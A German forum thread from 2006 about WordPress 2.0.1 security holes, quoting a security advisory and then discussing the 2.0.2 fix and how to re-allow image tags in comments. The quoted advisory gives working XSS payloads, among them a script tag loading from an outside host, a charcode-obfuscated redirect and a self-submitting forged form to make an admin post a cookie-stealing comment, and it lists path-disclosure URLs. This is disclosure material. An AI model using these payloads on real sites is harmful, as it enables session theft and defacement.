[WP 2.0.1] Sicherheitslücken im Blog-System Wordpress
-
KiNGU -
2. März 2006 um 12:23 -
Geschlossen
-
-
- Gerade eben
- Anzeige
Hallo!
Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.
- ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
- ✔️ Deutsche Server & DSGVO-konform
- ✔️ Persönlicher Support (kein 0815-Ticket-System)
-
Sehe ich auch so.
-
-
öhm ... bei meinen kommentaren werden nach dem workaround keine ÜÖÄÜ (Umlaute) mehr in den selbigen angezeigt nur als ö ??? Hat jemand ein ähnliches Problem?
(Benutze SK2-Spam)
Edit:
Sorry, hab zu spät die vorige Seite gelesen -
Wer lesen kann ist klar im Vorteil :D
-
Kein Gerücht: Sicherheitslücken in WP
Hallo, ich selbst will mir auch WordPress auf einem Apache/2.0.48 (Linux/SuSE) installieren. Der Server läuft aber im SAVE MODE.
Um diese Sicherheitslecks auszumerzen sind bereits Vorschläge gemacht worden. Dass es sich nicht um Gossip handelt, sondern um Versäumnisse bei der Programmierung, ist offensichtlich für die, die sich ein wenig damit beschäftigen.
Durch die Anpassung der config kann man schon einige Dinge bereinigen. Zur Information hier der Originaltext, auf den sich auch die heise.de-Meldung bezieht:
/*
---------------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]� WordPress 2.0.1 Multiple Vulnerabilities
---------------------------------------------------------------
Program : WordPress 2.0
Homepage: http://www.wordpress.org
Vulnerable Versions: WordPress 2.0.1 & lower ones
Risk: Critical!
Impact: XSS, Full Path Disclosure, Directory Listing-> WordPress 2.0.1 Multiple Vulnerabilities <-
---------------------------------------------------------------- Description
---------------------------------------------------------------
WordPress is a state-of-the-art semantic personal publishing
platform with a focus on aesthetics, web standards, and usability.
What a mouthful. WordPress is both free and priceless at the same time.- Tested
---------------------------------------------------------------
Tested in localhost & many blogs- Bug
---------------------------------------------------------------
The vendor was contacted about some other coding errors that are not
described here, the vendor was noticed about these bugs when this
advisory was published.<+ Multiple XSS +>
There're multiple XSS in `post comment':[1] `name' variable is not filtered when it's assigned to `value'
on the `<input>' in the form when the comment it's posted.
[2] Happends the same as [1] with `website' variable.
[3] `comment', this variable only filtered " and ' chars, this makes
possible to use < and >, thus this permit an attacker to inject
any HTML (or script) code that he/she want but without any " or '
character, this only happends if the user that post the comment it's
the admin (any registered kind of `user').If you (or victim) is a unregistered user, you can use " and ' in your
HTML/script Injection using `name' or `website' variables, but if the
victim is the admin or a registered user these 2 fields described above
aren't availabe in the form so you cannot even give a value to them.
The only remaining option it's to use the `comment' variable but here
we have the problem that we cannot use " or ' in HTML/SCRIPT Injected and
we have to make the admin to post the comment (POST method).<+ Full path disclosure & Directory listing +>
When I discovered this bug, I reported it to some pepople before
public disclosure, I was noticed that this isn't new and I
decided to look why they haven't patch this bug.As this bug it isn't patched yet, I tryed to know why and I found
something like this in their forum (I don't know if the person
that posted this was the admin but it gives the explanation):
(Something like the following, it's not textual).
`... these bugs are caused by badly configured .ini file, it's not
a bug generated by the script so it cannot be accepted as a bug of
WordPress...'. This is not an acceptable answer, if you think it is,
a bug caused because of register_globals is Off it's .ini fault and not
the script, they have to be kidding, if they want to make good software,
they have to make as far as the language can, to prevent all bugs.There're multiple files that don't check if they are been call
directly. This is a problem because they expect that functions
that the script is going to be called to be declared.
This kind of bug it's taken as a Low Risk bug, but it can help
to future attacks.- Exploit
---------------------------------------------------------------
-- Cross Site Scripting (XSS)
PoC:
[1] Post a comment with the following values (as unregistered user):
(No possible profit)Name : "><script>alert("WordPress PoC from");</script>
Mail : neosecurityteam@nst.net
Website: "><script>alert("[N]eo[S]ecurity[T]eam http://www.neosecurityteam.net");</script>
Comment: http://www.neosecurityteam.net/foro/The injected HTML code only affects the user that posted it, not others.
[2] This way it's more intresting and useful.
In this case the HTML Injected will stay in the board affecting each person
who see it.
But we have two problems:
[I ]- This comment must be posted by the admin
[II]- We only can use the `comment' field, because the admin form to make
the comment doesn't need the `name' or `website'.
Also the injected code cannot have any " or ' chars.Here are my solutions:
[I ]- We cannot give to the admin a `malicius' URL to steal the cookie
because it isn't via GET, it's via POST. So the solution it's to
make a copy form of the real one and set the default values to
the corresonding field (`comment') to make the stealing.
Also make the form submit itself when the page loads. Thus, we give
the admin the URL of this form and he/she will post the comment
with the values we set before. :)
[II]- We can only use this field to make the injection, the `big' problem
its that we cannot use " or ' chars wich means that something like
window.location = "http://www.google.com.uy"; won't work.Here are some real examples:
- <script>alert(document.cookie)</script>
- <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
78,83,84))</script>
- <script src=http://www.neosecurityteam.net></script>
- <script>document.location = String.fromCharCode(104,116,116,112,58,47,
47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
97,109,46,110,101,116)</script>As you can see this bug it's exploitable, it's only knowing a bit
deeper how to do XSS under some conditions. There're more
possibilities than described above, investigate yourself.-- Full path disclosure & Directory Listing
Directory Listing: http://www.victim.com/wordpress/wp-includes/Full path disclosure:
http://www.victim.com/wordpress/wp-i…ult-filters.php
http://www.victim.com/wordpress/wp-i ncludes/template-loader.php
http://www.victim.com/wordpress/wp-a…rm-advanced.php
http://www.victim.co m/wordpress/wp-admin/edit-form-comment.php
http://www.victim.com/wordpress/wp-i…s-functions.php
http://www.victim.com/wordpress/wp-admin/admin-functions.php
http://www.victim.com/wordpress/wp-admin/edit-link-f orm.php
http://www.victim.com/wordpress/wp-admin/edit-page-form.php
http://www.victim.com/wordpress/wp-admin/adm in-footer.php
http://www.victim.com/wordpress/wp-admin/menu-header.php
http://www.victim.com/wordpress/wp-includ es/locale.php
http://www.victim.com/wordpress/wp-admin/edit-form.php
http://www.victim.com/wordpress/wp-includes /wp-db.php
http://www.victim.com/wordpress/wp-includes/kses.php
http://www.victim.com/wordpress/wp-includes/vars .php
http://www.victim.com/wordpress/wp-admin/menu.php
http://www.victim.com/wordpress/wp-settings.php- Solutions
---------------------------------------------------------------
<+ Cross Site Scripting (XSS) +>
Change lines ~21 of 'wp-comments-post.php' to:
$comment_author = htmlentities(trim($_POST['author']));
$comment_author_email = htmlentities(trim($_POST['email']));
$comment_author_url = htmlentities(trim($_POST['url']));
$comment_content = htmlentities(trim($_POST['comment']));<+ Full Path Disclosure & Directory Listing +>
In the first line of each vulnerable file you should write:
if (eregi('name_of_the_file.php', $_SERVER['PHP_SELF']))
die('You are not allowed to see this page directly');- References
---------------------------------------------------------------
http://NeoSecurityTeam. net/advisories/Advisory-17.txt- Credits
--------------------------------------------------------------
Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com[N]eo [S]ecurity [T]eam [NST]� - http://NeoSecurityTeam.net/
Irc.InfoGroup.cl #neosecurityteam
Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/- Greets
---------------------------------------------------------------
Paisterist
HaCkZaTaN
Link
Daemon21
erg0t
NST Comunity!@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@ @@@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@
*/------------------
Mail (Kontaktformular) an mich: http://www.trink10.org/contact.phpMatthias :rolleyes:
-
Diese Meldung bezieht sich auf WP 2.0.1 - WP 2.0.2 ist schon seit ca. einem Monat draußen und beseitigt afaik einige Sicherheitslücken wie XSS.
Sprich, das was du da postet, ist bekannt.
-
Re:
Zitat von jottliebDiese Meldung bezieht sich auf WP 2.0.1 - WP 2.0.2 ist schon seit ca. einem Monat draußen und beseitigt afaik einige Sicherheitslücken wie XSS.
Sprich, das was du da postet, ist bekannt.
Na dann hoffen wir mal, dass andere Sicherheitslücken auch gestopft werden. Was genau die Verletzlichkeit ausmachte, wurde jedoch leider nicht gepostet (außer einem Verweis) - und darauf kommt es an, wenn man es nachvollziehen möchte (zumindest ich).
WP2.0.2 wird nicht die FinalVersion sein *g*.
-
Verstehe ich das richtig, dass die Deaktivierung von HTML in Kommentaren, welche mir heute erst aufgefallen ist, mit WP 2.02 gewünscht war? Kann man da vielleicht bestimmte Tags wieder erlauben? Links und Bilder würde ich meinen Besuchern schon gerne zugestehen.
-
Zitat von Legolas75
Verstehe ich das richtig, dass die Deaktivierung von HTML in Kommentaren, welche mir heute erst aufgefallen ist, mit WP 2.02 gewünscht war? Kann man da vielleicht bestimmte Tags wieder erlauben? Links und Bilder würde ich meinen Besuchern schon gerne zugestehen.
HTML in Kommentaren wurde nicht deaktiviert. Ich kann sowohl Links, als auch Bilder posten. -
Auch als normaler Besucher, ohne Adminrechte? Bei mir klappt das nämlich nicht mehr. Das ist mir erst heute aufgefallen und vor ein paar Wochen ging das noch. Also vermute ich eben, dass es mit dem Update zu tun hat.
-
Okay, Bilder nicht mehr, weil das nicht mehr bei den erlaubten Dingern drin ist (kann man aber ändern). Links schon.
(Als Gast). -
-
-
Danke, das habe ich jetzt so eingefügt. Funktioniert allerdings immer noch nicht. Komische Sache. Ich schau mir jetzt mal jede einzelne Datei an, ob ich was finde.
-
Hast recht, funktioniert wider erwarten nicht. Aber die Datei ist schon richtig, da brauchst du nicht nach anderen suchen.
-
Dann liegts wenigstens nicht an mir, danke ;)
-
So, ich hab jetzt einfach mal den Code aus der alten kses.php genommen:
Code, 'img' => array ('alt' => array (), 'align' => array (), 'border' => array (), 'height' => array (), 'hspace' => array (), 'longdesc' => array (), 'vspace' => array (), 'src' => array (), 'width' => array ()),
Damit funzt es, ich habs getestet;)
Aber beachte, dass es eine Sicherheitslücke darstellen könnte. Man hat es wohl nicht ohne Grund rausgenommen. -
Bei mir leider nicht.
-
Doch, wenn man es richtig einfügt. Wiegesagt, kein Komma zuviel und zu wenig am Ende.
-
Jetzt mitmachen!
Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!